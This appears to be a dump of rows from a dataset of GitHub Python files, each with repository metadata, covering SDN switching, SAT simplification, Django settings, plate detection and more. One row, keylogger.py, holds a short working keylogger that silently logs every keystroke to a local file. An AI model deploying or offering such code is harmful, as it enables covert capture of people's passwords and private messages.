blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 5 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 41 | license_type stringclasses 2
values | repo_name stringlengths 7 96 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 58
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 12.7k 662M ⌀ | star_events_count int64 0 35.5k | fork_events_count int64 0 20.6k | gha_license_id stringclasses 11
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 43
values | src_encoding stringclasses 9
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 7 5.88M | extension stringclasses 30
values | content stringlengths 7 5.88M | authors listlengths 1 1 | author stringlengths 0 73 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6753869010cb851c1e63bd77404c56ed1fb3e184 | 00ccbf6a98b237e19a375cb47cba5eca876f567b | /venv/Scripts/pip-script.py | 64d606b8423306a2824c612d6d15a3f5f030cc34 | [] | no_license | emaillalkrishna/23May2019_list_problems1 | 5756a5298c4493a3b6733dd9fcbb0d32808db86a | 00bc0278d5fe4e4d0d35535025e244bb2b41bd48 | refs/heads/master | 2020-05-31T23:02:21.486866 | 2019-06-06T07:00:06 | 2019-06-06T07:00:06 | 190,531,108 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 421 | py | #!"C:\Users\LAL KRISHNA\PycharmProjects\23May2019\venv\Scripts\python.exe"
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', ... | [
"emaillalkrishna@gmail.com"
] | emaillalkrishna@gmail.com |
9084390ce15e1db9beffaeeed2599d54bd5bd7ae | 4e8501c2f9ae1676e0bc1cfd22bb2e3c6993fc0d | /keylogger.py | 7c4f886fb6fd049cc4f6d6917ddf20e386d5527f | [] | no_license | svsaurabh/python-starter-1 | 1c5d616d8cefd2bcb6e6a33b7f4062554a4ab13c | 49c29dd41f27ac95a182ec5315ef7bee5feaa62a | refs/heads/master | 2022-12-28T07:59:48.959838 | 2020-10-04T16:51:27 | 2020-10-04T16:51:27 | 300,824,844 | 0 | 1 | null | 2020-10-04T16:51:28 | 2020-10-03T07:41:54 | Python | UTF-8 | Python | false | false | 399 | py | import pynput
print('Running keylogger')
from pynput.keyboard import Key,Listener
import logging
log_dir = r"./"
logging.basicConfig(filename=(log_dir+"keyLog.txt"),level=logging.INFO,format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
if(str(key) == '\'`\''):
print("exit")
... | [
"svsaurabh3232@gmail.com"
] | svsaurabh3232@gmail.com |
8fd6dbb11687301fb31010e9818688c5aec48162 | 1c91ea9dd939c26134d95ce0c80c450ee958de1b | /scripts/divide_sub_images_train.py | 8cc63952de98d8b2f5839b34469e48443fe92db8 | [] | no_license | Scallions/ClassSR_paddle | ed73b1b420ad9b129ba9c3a050fe7e2bb2ba5a80 | 6f7648c7507f423e54455482f85d363f6b5ed9e7 | refs/heads/main | 2023-08-31T01:44:04.059381 | 2021-09-29T08:42:05 | 2021-09-29T08:42:05 | 399,377,609 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,704 | py |
import os.path as osp
import os
import numpy as np
import shutil
#divide training data
LR_folder="dataset/DIV2K_scale_sub/LR"
GT_folder="dataset/DIV2K_scale_sub/GT"
save_list=["dataset/DIV2K_scale_sub_psnr_LR_class3",
"dataset/DIV2K_scale_sub_psnr_LR_class2",
"dataset/DIV2K_scale_sub_psnr_LR_c... | [
"844120806@qq.com"
] | 844120806@qq.com |
d39191f4401b7166c7a514ce37a1c1855eada830 | 32ff89ba0cade19a291557c7f002613632a35fc9 | /Lektion_1_Einfuehrung_in_Python/1_5_Eingabe_Ausgabe.py | 2917781b3104a6d5b59b34182417badb3b2f225b | [] | no_license | iubh/DLMDWPMP01 | 749f3fad456e97fd6355b0f4758ecc69b194c0ba | 520eb91111f516feb4532d2001569000fe7be9b8 | refs/heads/main | 2023-04-30T02:51:09.897270 | 2021-04-28T18:38:01 | 2021-04-28T18:38:01 | 358,973,899 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,570 | py | # IU - Internationale Hochschule
# Programmierung mit Python
# Course Code: DLMDWPMP01
# Eingabe / Ausgabe
#%%
# Eine Tastatur-Eingabe abfragen
user_input = input("Wie heißt du?")
#%%
# Die Eingabe ausgeben
print("Hallo, {}!".format(user_input))
# console output: Hallo, Christian!
#%%
# Datei im Lese-Modus öffnen
m... | [
"christian.mueller-kett@raumanalysen.de"
] | christian.mueller-kett@raumanalysen.de |
69c617a2bab0935fa411eece5a5fb0c52ac0adb2 | 95ad751d88996ab5270c36614d5a0ff2296cf94f | /flask_portfolio/server.py | 2cf20ab15059989628be847f5543fbbf2d8f8162 | [] | no_license | Ash25x/PythonClass | a8a738fdac36365eb19749b5cda3b26ed92e6e29 | bd4351bdcaa69b88e92d9a683bf8f10683e7292f | refs/heads/master | 2021-08-08T22:39:01.575813 | 2017-11-11T13:42:12 | 2017-11-11T13:42:12 | 102,967,067 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 210 | py | # from flask import Flask, render_template, request
from portfolio import app
# app = Flask('portfolio')
#
# from . import views
if __name__ == '__main__':
app.run(debug =True, host='localhost',port=5555)
| [
"ash122491@gmail.com"
] | ash122491@gmail.com |
24b2966bd1b8fd90c90bf5ecbc25ffa51ea5a07c | e739dd9f35856cddabcf486080c189764cb98b4a | /simplification.py | b5012eab0e905c0ea56ef95b6ebf66fb746c849e | [] | no_license | sebkeil/KR-Project01-Group02 | e8a6e7c40fa40852ac360f511dbc0e9a52fb89b4 | a2dd69909894e94b0ccef79e3834ebdaa4523260 | refs/heads/master | 2022-12-28T04:46:54.108524 | 2020-09-23T13:23:09 | 2020-09-23T13:23:09 | 293,752,390 | 0 | 0 | null | 2020-09-22T08:20:58 | 2020-09-08T08:44:03 | Python | UTF-8 | Python | false | false | 3,191 | py | def tautology(clauses):
for literals in clauses:
for lit in literals:
if -lit in literals:
clauses.remove(literals)
return clauses
return clauses
def pure_literals(clauses, varbs, assigns):
for literals in clauses:
for lit in literal... | [
"noreply@github.com"
] | noreply@github.com |
402d7a1852a0d8a57dc65c63a3f34db7c6ca1971 | b2a6a8733f588d503e45ad40cfa2080566d1ccf5 | /0x03-python-data_structures/1-element_at.py | 8f497c59322f19e6d0dee0f2531c52f578530d68 | [] | no_license | andresvanegas19/holbertonschool-higher_level_programming | 9cd0f83722623ca08c6b4e3aa94975363b569183 | aa967a51183c3c8b9c9b27b47199c70fd6241485 | refs/heads/master | 2022-12-22T18:44:17.839861 | 2020-09-25T04:54:18 | 2020-09-25T04:54:18 | 259,396,114 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 156 | py | #!/usr/bin/python3
def element_at(my_list, idx):
if ((idx < 0) or (idx >= len(my_list))):
return (None)
else:
return (my_list[idx])
| [
"andressantiagore@gmail.com"
] | andressantiagore@gmail.com |
e7eeffd8a0307e45d5b6830ad3f4623fcb990224 | 98b4aeadab444eaf6f0d5b469c199e6d24a52f7f | /step10/10870.py | 795ad4473e8f0f5778763c6555ea8321bc472a36 | [] | no_license | kwr0113/BOJ_Python | 7a9dc050bb3bb42ae2b03671c5d6fa76cc0d6d99 | 27bafdaafc44115f55f0b058829cb36b8c79469a | refs/heads/master | 2023-06-10T23:22:20.639613 | 2021-06-25T07:25:53 | 2021-06-25T07:25:53 | 328,057,859 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 171 | py | # 10870.py
def fibo(x):
if x == 0:
return 0
elif x == 1:
return 1
else:
return fibo(x-1) + fibo(x-2)
x = int(input())
print(fibo(x)) | [
"kwr0113@gmail.com"
] | kwr0113@gmail.com |
20379467d53a3638ad96f609d78ae89ee19c7efe | cfefcd99016a908df2584896845406942097671d | /python/nucoro_api/model/asset_category.py | ccee0ee7f9cbf74b20befbf1984419fa32be2c0a | [] | no_license | tomasgarzon/vigilant-guacamole | 982a8c7cb0a8193bb3409014b447ad8a70e6eb36 | bde73674cf0461e2fcdfce5074bf9d93a47227f7 | refs/heads/main | 2023-08-17T01:51:27.168440 | 2021-09-01T11:23:46 | 2021-09-01T11:23:46 | 398,827,144 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,971 | py | """
Nucoro API
No description # noqa: E501
The version of the OpenAPI document: 4.175.0
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from nucoro_api.model_utils import ( # noqa: F401
ApiTypeError,
ModelComposed,
ModelNormal,
Mod... | [
"tomasgarzonhervas@gmail.com"
] | tomasgarzonhervas@gmail.com |
ee61c291d36a5a578ed0572b97be434e2acab471 | 9baa52b6204e2c3fccb71679178442bca0a90bbe | /client/src/gamelib/client.py | 7b631927b4135f5ad33fc5f90e9247b30437f39b | [] | no_license | brunez/m-reborn | bec34f57b4e229a5733bbd1db2fe543021e8719a | 3b0f56b03190e714fdc55d420ca0f0630fa454d1 | refs/heads/master | 2023-02-08T18:20:15.125457 | 2023-01-30T19:40:07 | 2023-01-30T19:40:07 | 52,682,111 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,342 | py |
import socket
import pickle
import network
import game
from ctypes import ARRAY
class Client:
def __init__(self, server_ip, server_port, menu, host=False):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.socket.setblocking(0)
# server_ip = "138.100.154.236"
self... | [
"brunezmail@gmail.com"
] | brunezmail@gmail.com |
9deb4d50553b21ded4b05d6b3cb6d8011f610422 | bf44694f814ab2ed3d930cc9785cda8cb8e363ef | /mswitching-hub.py | ee547cb37ec71d202e64f1c9132135a41bd3eac3 | [] | no_license | jakio6/ryu-multicast-try | 4c5e7ff1df5aac81cc8559a360fa62a7ed61e4ee | 37d72cf754fe7af3ee6565f2f2a67821f995f713 | refs/heads/master | 2023-03-19T01:28:43.315727 | 2021-03-18T14:42:51 | 2021-03-18T14:42:51 | 318,971,301 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,595 | py | # clone ryu book里的switching hub. 熟悉一下, 尽量少看原来代码吧.
import logging
# 首先, 需要哪些库? 不看具体的代码. 不看ryu book. 当然OpenFlow那部分可以当作参
# 考.
from ryu.base import app_manager
# ryu.controller.controller : the main component of OpenFlow controller.
from ryu.controller import ofp_event
from ryu.controller.handler import MAIN_DISPATCHER ... | [
"jakio6@qq.com"
] | jakio6@qq.com |
e381eb7c7c4e70aa1df7df9890dae40a64d7d34a | d1955b0a26a2c1b26e7f74ed0f15c62a9aad0895 | /ConjunctionOrder.py | edb403ff0dac496e0bbc11f8dc6815d23f68c1d0 | [] | no_license | kimu3-slime/Linguistics | 4b036c1f3f9f83fde3c66030ea4a802ea4a0235f | a803addf426b30dab36a1c7f309f410bbfbe1315 | refs/heads/master | 2020-05-16T21:27:19.176611 | 2015-01-06T09:03:12 | 2015-01-06T09:03:12 | 28,481,358 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,526 | py | # coding: UTF-8
import nltk #言語処理の準備
from nltk.book import *
from nltk.corpus import brown
import itertools
conj= ['after', 'although' ,'as', 'because', 'before' , 'if', 'since', 'so', 'than', 'though', 'unless', 'until', 'when', 'whenever', 'where', 'whereas', 'wherever', 'while'] #抽出する接続詞の設定
text = brown.words() #B... | [
"slimemap@gmail.com"
] | slimemap@gmail.com |
62a22725e183f5e8563dde5f9d0142120188d1a0 | 797960bfb316c91825a8e8493a27f1121e2e895d | /FPN_model.py | 5afa440e051c3e40ca5cc3ff9c03cbf5b5c12a55 | [] | no_license | divyakraman/Pyramid-DRN-A-case-study-on-category-wise-semantic-segmentation-of-real-urban-scenes | 874c2cad24d9043f7d416f7673f11ac5cbd6a0bc | d6a5367d2be7eb87a0b86bda48222dadb56148b8 | refs/heads/master | 2020-07-05T04:38:32.133210 | 2020-01-26T14:26:10 | 2020-01-26T14:26:10 | 202,524,460 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,182 | py | import numpy as np
import torch
import torchvision
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
import math
from GCN_BR import GCN,BR
#import matplotlib.pyplot as plt
#import scipy.misc as smisc
#import random
class FPN(nn.Module):
def __init__(self):
... | [
"noreply@github.com"
] | noreply@github.com |
37bdf2dde85f8ce44a0ed9c15e3028b0dce45219 | 221fa1f7a86c7b84941671e36993e1fee8be63a8 | /docs/source/conf.py | 726022cda46dc4d17624ecd88e848be02a343f3b | [
"MIT"
] | permissive | lkilcommons/geospacepy-lite | a2b8510f74f9c07d560fb98e955e1c69b07e7c8d | cbe2e23e5906aa922c661a81e75d26e4f7b29bd4 | refs/heads/master | 2022-05-16T09:51:59.044106 | 2022-03-29T16:53:52 | 2022-03-29T16:53:52 | 95,029,209 | 4 | 7 | MIT | 2022-03-29T16:53:54 | 2017-06-21T17:29:23 | Python | UTF-8 | Python | false | false | 5,142 | py | # -*- coding: utf-8 -*-
#
# geospacepy-lite documentation build configuration file, created by
# sphinx-quickstart on Fri Dec 13 12:00:49 2019.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated fil... | [
"liam.kilcommons27@gmail.com"
] | liam.kilcommons27@gmail.com |
6a3d2165725d9dbb9b0c88f30a3e8a0b10980d4f | 98e60f24bbd5613b01b2f6ab9d316111d525b5c2 | /Puzzles/CountingSheep/sleep.py | 9d65166133538de5025298f0521c6a4b85fe0833 | [] | no_license | tgomudur/CodingChallenges | eb49c9c25d16f4ebead4294fd88895c8c6f56feb | d5b7728de9066ab531295891b46c3983580b6b34 | refs/heads/master | 2020-12-24T20:51:42.040520 | 2016-05-23T23:47:31 | 2016-05-23T23:47:31 | 58,672,280 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 660 | py | with open("A-large.in") as infile:
lines = [int(item) for item in infile.readlines()]
ntests = lines[0]
numbers = lines[1:]
# ntests = input()
outfile = open("Output.txt", 'w')
for case in range(ntests):
# n = input()
n = numbers[case]
seen = [0]*10
seen_sum = 0
i = 1
if n == 0:
outfile.write("Case #{}: INSO... | [
"tgomudur@asu.edu"
] | tgomudur@asu.edu |
da8ef3e826bf2022ad5601eb34a52dc472d1450a | 540f6a80b49f91c1d67d9c2eabedffc5b450c0d0 | /shifali/test45.py | 90f5bba80a4572097278994a996d394971f554ea | [] | no_license | shifalik/practice | 3a56c89bbf74c18d93eadbacae45e6c8d09795d5 | 3b2e862675f89a54a795be8058be3adc019ba24b | refs/heads/master | 2021-01-24T01:39:58.874359 | 2018-02-25T08:23:26 | 2018-02-25T08:31:34 | 122,817,258 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,481 | py | '''
Created on Feb 8, 2018
@author: shifa
'''
# Lists
# They are sequences
# NOTE: items in list don't have to be same data type
#--------------------------------------------------------
list1 = ['physics', 'chemistry', 1997, 2000]
list2 = [1, 2, 3, 4, 5]
list3 = ["a", "b", "c", "d"]
print("List1:", list1, "\nList2... | [
"shifalikumar17@gmail.com"
] | shifalikumar17@gmail.com |
4cb3132b3aba020e6a7b65472a7ad7b7c5d907e7 | 670881ff3ef0bf07e3e4d93e8da5917ace9238e8 | /src/core/rule.py | 47497f7aa1ad3fb62f87a123cf83f910af37cec1 | [] | no_license | anninz/xiyouji | 74e6777af27f86d0d1dd688702785348ba2efc24 | 6f2f3436803ffb0a13b95b1f27ff593567be9341 | refs/heads/master | 2020-03-17T03:00:44.602635 | 2018-05-19T10:13:08 | 2018-05-19T10:13:08 | 133,215,966 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,144 | py | from collections import Counter
import logging
import json
logger = logging.getLogger('ddz')
'''
# A 2 3 4 5 6 7 8 9 0 J Q K W w
# 记分
# 地主先出完所有的牌就赢了,如果没有出过炸弹或火箭,那么每个农民要把定约的分数(1分、2分或3分)付给地主。
# 两个农民中有一个先出完所有的牌,地主就输了,那么地主要把定约的分数付给每个农民。
# 每当任何一个玩家出了炸弹或火箭,那么分数就要翻一番。
# 例如某局牌出了2个炸弹和1个火箭,叫3分的地主如果先出完,他就向每个农民赢得24分【总共赢得48分】,
# ... | [
"tianhongqi@meizu.com"
] | tianhongqi@meizu.com |
09776316fb421e0bbceaef668d1fa5dd48acefec | e094acbfb223a19521a742befc5b7d45987749ff | /myshop/settings.py | 384f29086ed62c1f039fd3ad462f80db15e5ee88 | [] | no_license | bolajixi/django-commerce-shop | 41f8e75e8e33132c59c2e3a5e6e08f74217c1f65 | 86a3d4e988135d9982b352134d29904adc643d9d | refs/heads/main | 2023-07-23T03:11:18.039631 | 2021-08-23T06:55:12 | 2021-08-23T06:55:12 | 395,966,639 | 6 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,622 | py | """
Django settings for myshop project.
Generated by 'django-admin startproject' using Django 3.1.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib ... | [
"bolaji.olawale007@gmail.com"
] | bolaji.olawale007@gmail.com |
177bb4da1f8539439aa74c5b45afc7144f03ae11 | 167fdbfb5a68d49eb6de65200563b8db03d956b2 | /reference/understanding-ml-code/ch13-분류 문제와 로지스틱 회귀 분석/logistic_intro.py | 350bde497a83f448462caa1fcfc9448fd7a92379 | [] | no_license | Naamu/ml-learning | 11ad20f2e1f06701e362e2c6ca86d8070163a95f | 5276026f01c31708d494d7c4d8b1cdc3cc66f57d | refs/heads/master | 2022-09-04T17:32:29.540737 | 2022-07-20T00:28:48 | 2022-07-20T00:28:48 | 187,772,008 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,477 | py | #
# 프로그램 이름: logistic_intro.py
# 작성자: Bong Ju Kang
# 설명: 로지스틱 회귀 분석을 통한 분류 문제 이해하기
#
# 필요한 패키지
import os
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import requests, zipfile, io
from sklearn.linear_model import LinearRegression, LogisticRegressionCV
from sklearn.linear_model import LogisticR... | [
"45629631+Naamu@users.noreply.github.com"
] | 45629631+Naamu@users.noreply.github.com |
2704840558c8b5a61a9cdc328fdc4c88c17852d6 | c91d029b59f4e6090a523bf571b3094e09852258 | /src/comercial/views/tabela_de_preco.py | 8d55cd86e2acf528caf034482365982811ed0587 | [
"MIT"
] | permissive | anselmobd/fo2 | d51b63ebae2541b00af79448ede76b02638c41f0 | 8e7f8f3d9a296c7da39d0faf38a266e9c6c162ab | refs/heads/master | 2023-08-31T19:59:33.964813 | 2023-08-31T19:50:53 | 2023-08-31T19:50:53 | 92,856,677 | 1 | 0 | MIT | 2023-04-21T21:50:46 | 2017-05-30T17:04:27 | Python | UTF-8 | Python | false | false | 4,518 | py | from pprint import pprint
from django.shortcuts import render
from django.urls import reverse
from django.views import View
from fo2.connections import db_cursor_so
import comercial.forms as forms
import comercial.queries as queries
class TabelaDePreco(View):
def __init__(self):
super().__init__()
... | [
"anselmo.blanco.dominguez+github@gmail.com"
] | anselmo.blanco.dominguez+github@gmail.com |
ae678eb02ca8de59e362c11fec61c9695fa5694d | 93a68ff3fe2bcf46827d55a3f90f983376d19984 | /pajbot/modules/quest.py | 60a19c187e509b88293f062ed108d329bc9a6015 | [
"MIT"
] | permissive | cubelious/pajbot | 8abe0b9239c1a1ce90671f69e75bec5d9114f9e5 | 53db8f8cfe7e3fa405ef088a23010e4d833891c6 | refs/heads/master | 2021-01-25T02:30:41.791769 | 2016-02-08T15:47:30 | 2016-02-08T15:47:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,413 | py | import logging
import random
from pajbot.modules import BaseModule, ModuleSetting
from pajbot.models.command import Command
from pajbot.models.handler import HandlerManager
from pajbot.managers import RedisManager
from pajbot.tbutil import find
from pajbot.streamhelper import StreamHelper
log = logging.getLogger(__na... | [
"pajlada@bithack.se"
] | pajlada@bithack.se |
12ecee822cc835c4a06bd011e3765246a6c67b7e | 628ae3506d28acc472c39d5452b675e3f1d4f4ac | /tests/test_statements.py | 43bfe4ed545a252f7fa8ed41a7b2ebe6fcee671b | [] | no_license | jucacrispim/sol | 6be9aad187a1d2367ccd2a59347817ef0162954b | 2c001812559ea586d2532d81f475f379a38b7b7d | refs/heads/master | 2021-06-23T11:41:31.448769 | 2019-10-21T06:28:22 | 2019-10-21T06:28:22 | 216,483,311 | 0 | 0 | null | 2021-04-20T18:47:42 | 2019-10-21T05:18:54 | Python | UTF-8 | Python | false | false | 2,303 | py | # -*- coding: utf-8 -*-
from unittest.mock import Mock
import pytest
from sol import statements
def test_statement():
statement = statements.Statement()
with pytest.raises(NotImplementedError):
statement({})
def test_say(mocker):
mocker.patch.object(statements, 'print', Mock(spec=print))
... | [
"juca@poraodojuca.net"
] | juca@poraodojuca.net |
2d3d6fbdc5f2f1467114efc7cf5d20bee744c112 | de6e1bc6d0de103685c97a5124c15392e887a6ca | /Project300/useraccount/views.py | 8e478a6fd170855e328d4749f25befbe2ff14b83 | [] | no_license | rahmanrafi32/CholoGhureAshi | 474dabc3f6533f822ef8208cb45220276dd68fb5 | 16d213fcd39db163ab733ad05b0d59cbfbb4fabd | refs/heads/master | 2023-02-06T17:47:37.989236 | 2020-12-28T08:14:22 | 2020-12-28T08:14:22 | 324,951,124 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 120 | py | from django.shortcuts import render
# Create your views here.
def reg(request):
return render(request,"login.html") | [
"rafi.rahman03@yahoo,com"
] | rafi.rahman03@yahoo,com |
4b99d00e8213449a75885322365206396326fa5c | 155b520361166c0033853578ad6c13dd41a1e168 | /data-from-machinery-master/static/Dataset/Model/Number_plate_detection.py | bf04526057b40bc53cc68f8e72d906eefab5f08e | [] | no_license | NiraliLimbad/Data-from-machinery | 8ae5772b5c4e5085463527d543d3ff01e902639b | b4cd9030edc6667192921e27af0501aa32137d4f | refs/heads/main | 2023-06-01T20:14:07.869313 | 2021-06-19T11:31:58 | 2021-06-19T11:31:58 | 378,395,734 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,658 | py | import cv2
from PIL import Image, ImageEnhance, ImageFilter
import numpy as np
# import pytesseract
import os
import time
import imutils
def cleanPlate(plate):
print ("CLEANING PLATE. . .")
gray = cv2.cvtColor(plate, cv2.COLOR_BGR2GRAY)
# gray = cv2.GaussianBlur(gray,(3,3),0)
#kernel = cv2.getStructuring... | [
"noreply@github.com"
] | noreply@github.com |
11037e6cb64fd815fafcf2e8aee20a29b640aca2 | 68ebf4ffa77442eaafaf0e45d77c3bf72b867e54 | /itdblib/common/hr_intf.py | 06ee85cfb49afd710544da45fdb085e3bf75b897 | [] | no_license | wzqwsrf/itdb | 39fa5dafeb0da555930b9a5c5dd1d9a4918a5aa7 | 7dcbc21c32c96fcfdcdbd574b50ad85e82263fc7 | refs/heads/master | 2016-09-05T11:31:17.764488 | 2015-09-10T08:51:25 | 2015-09-10T08:51:25 | 42,232,261 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,157 | py | # !/usr/bin/env python
# -*- coding: utf-8 -*-
# author: wangzq <wangzhenqing1008@163.com>
import json
import urllib2
from oslo_config import cfg
from qg.core import log as logging
LOG = logging.getLogger(__name__)
interface_opt = [
cfg.StrOpt('hr_one_intf',
default='',
help='fetc... | [
"wzqwsrf@126.com"
] | wzqwsrf@126.com |
17e17767199549253f2047b58f7b8b665c882ca6 | dc87e2ad75edd66ef1da331bf4d464a20975ab3e | /main.py | 9c05273e01a16a0043dc4dbd720ab78f6da496ae | [] | no_license | DanilUryadnikov/Homewrok | 0488bf3ecf5ff980ff821a5be0bd9131c7bc983a | 97d4ddef86831df1afd3c6783921d6911f9f653f | refs/heads/master | 2023-02-03T15:44:30.257174 | 2020-12-24T10:53:35 | 2020-12-24T10:53:35 | 324,134,993 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,033 | py | import sys
from PyQt5.QtGui import QPainter, QColor
from PyQt5 import uic
from PyQt5.QtWidgets import QApplication, QMainWindow
import random
class round(QMainWindow):
def __init__(self):
super().__init__()
uic.loadUi('Ul.ui', self)
self.do_paint = False
self.pushButton.clicked.con... | [
"uryadnikov.07@mail.ru"
] | uryadnikov.07@mail.ru |
e20c38956babc6cbe3d1fc1963db34935844d010 | ed37c6acf35ad8dfa7064c7d304f046c3657cb7a | /leetcode/42_trapping_rain_water/solution.py | ae3f4855ee9795dcf6865c1ad42e29e0f6858bfd | [] | no_license | etture/algorithms_practice | 7b73753f5d579b7007ddd79f9a73165433d79b13 | ba398a040d2551b34f504ae1ce795e8cd5937dcc | refs/heads/master | 2021-11-18T20:37:11.730912 | 2021-10-03T23:25:24 | 2021-10-03T23:25:24 | 190,863,957 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,029 | py | # Basic imports --------------------------------------------
from __future__ import annotations
import sys
# 파이썬 기본 재귀 limit이 1000이라고 함 --> 10^6으로 manual하게 설정
sys.setrecursionlimit(10**6)
from os.path import dirname, abspath, basename, normpath ... | [
"etture@gmail.com"
] | etture@gmail.com |
03ffb80aa1cacd9b233a302fd7ca8876997f5fb0 | c016ed237862591c42fd00b973fced791247be37 | /src/garage/tf/_functions.py | 796fd5150cfecf418dec46dbd9d005ecb98446c7 | [
"MIT"
] | permissive | thanhkaist/garage | 726766a1e6fd465f776c42dc006f331a3b98cbd7 | 1d840df357282a675b8fce839bb0e5f72a8abba9 | refs/heads/master | 2022-11-05T23:40:08.057025 | 2020-06-21T16:59:15 | 2020-06-21T16:59:15 | 274,142,146 | 1 | 0 | MIT | 2020-06-22T13:18:14 | 2020-06-22T13:18:13 | null | UTF-8 | Python | false | false | 3,400 | py | """Utility functions for tf-based Reinforcement learning algorithms."""
import numpy as np
from garage.misc import tensor_utils as np_tensor_utils
from garage.tf.misc import tensor_utils
def paths_to_tensors(paths, max_path_length, baseline_predictions, discount,
gae_lambda):
"""Return proce... | [
"noreply@github.com"
] | noreply@github.com |
fffa5c425542a1e1841cdb3d6a99d19c9c3b253b | d8740499280fc4ccf6f7f4994fab459ed5d73655 | /src/example6.py | 7adc1c5321a0973ab2bc80dff8d4934edcbec907 | [] | no_license | shadow-robot/ros-workshop | 5c088f78cb66c93ee90ad28aa43f0364b7d39038 | e101dcbcc36a6973af436f644055dcf112e87159 | refs/heads/master | 2021-01-19T11:15:48.309312 | 2013-09-10T07:46:13 | 2013-09-10T07:46:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,013 | py | #!/usr/bin/env python
'''
@file example1.py
@author Ugo Cupcic <software@shadowrobot.com>
Copyright (c) 2013 Shadow Robot Company Ltd.
All rights reserved.
This code is proprietary and may not be used, copied, distributed without
prior authorisation and agreement from Shadow Robot Company Ltd.
@brief
'... | [
"ugo@shadowrobot.com"
] | ugo@shadowrobot.com |
11b28e9d82f1a02507a3691d244e72b7c4236085 | ee974d693ca4c4156121f8cb385328b52eaac07c | /env/lib/python3.6/site-packages/sklearn/externals/joblib/func_inspect.py | acc828b11737c3a6dbc31c469ac00390593e4ea7 | [] | no_license | ngonhi/Attendance_Check_System_with_Face_Recognition | f4531cc4dee565d0e45c02217f73f3eda412b414 | 92ff88cbc0c740ad48e149033efd38137c9be88d | refs/heads/main | 2023-03-12T07:03:25.302649 | 2021-02-26T15:37:33 | 2021-02-26T15:37:33 | 341,493,686 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 130 | py | version https://git-lfs.github.com/spec/v1
oid sha256:db6f68dd571d6f69eee017246e4855f4f652345307fe58e13ac7c132f6e1052f
size 13773
| [
"Nqk180998!"
] | Nqk180998! |
db2ef15c79a0ad3ecce1ba0746e4235a7c432441 | 958a80acfedd6ee11320889c70fc53384e362a55 | /create_waves.py | 2f1745b58b3f6d5852662423752a2c39e10d74ec | [] | no_license | nekech/blender-water-scripts | b1620a547dde8f93da4234b5bc3c9f910d6efbb3 | 5694d3324b4aaa485023fc3ccee301e44a2e6c8f | refs/heads/master | 2020-03-08T06:13:33.869149 | 2018-04-06T07:52:09 | 2018-04-06T07:52:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 810 | py | import bpy
import bmesh
obj = bpy.context.edit_object
me = obj.data
bm = bmesh.from_edit_mesh(me)
bm.faces.active = None
def scalar(a, b):
return a[0]*b[0] + a[1]*b[1]
def getWaveHeight(pos, dir, steepness=1, amplitude=1, velocity=1, wavelength=1, t=1):
fi = velocity * (2 * 3.14 / wavelength)
s = s... | [
"noreply@github.com"
] | noreply@github.com |
e4d11405844fc9dc09f679cf620d2da21493dfec | fa508cb53f41b51b4a3632c4322d97e1b25cfefc | /src/sensor_api/sensor_api/settings.py | 56faeb817eacddac40d6b3a2cbcbabb022a25c2e | [] | no_license | Nishant173/sensor-data-assignment | b4bc1b21c1ae1528dfde1bf8c70e974d3eb0df53 | 08998ce887fb8a37bf1fbb2932c7d009affdd506 | refs/heads/main | 2023-01-21T07:50:43.953785 | 2020-12-02T06:22:30 | 2020-12-02T06:22:30 | 315,087,803 | 0 | 0 | null | 2020-11-25T14:01:23 | 2020-11-22T16:59:37 | Python | UTF-8 | Python | false | false | 3,123 | py | """
Django settings for sensor_api project.
Generated by 'django-admin startproject' using Django 3.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from path... | [
"nishant.rao173@gmail.com"
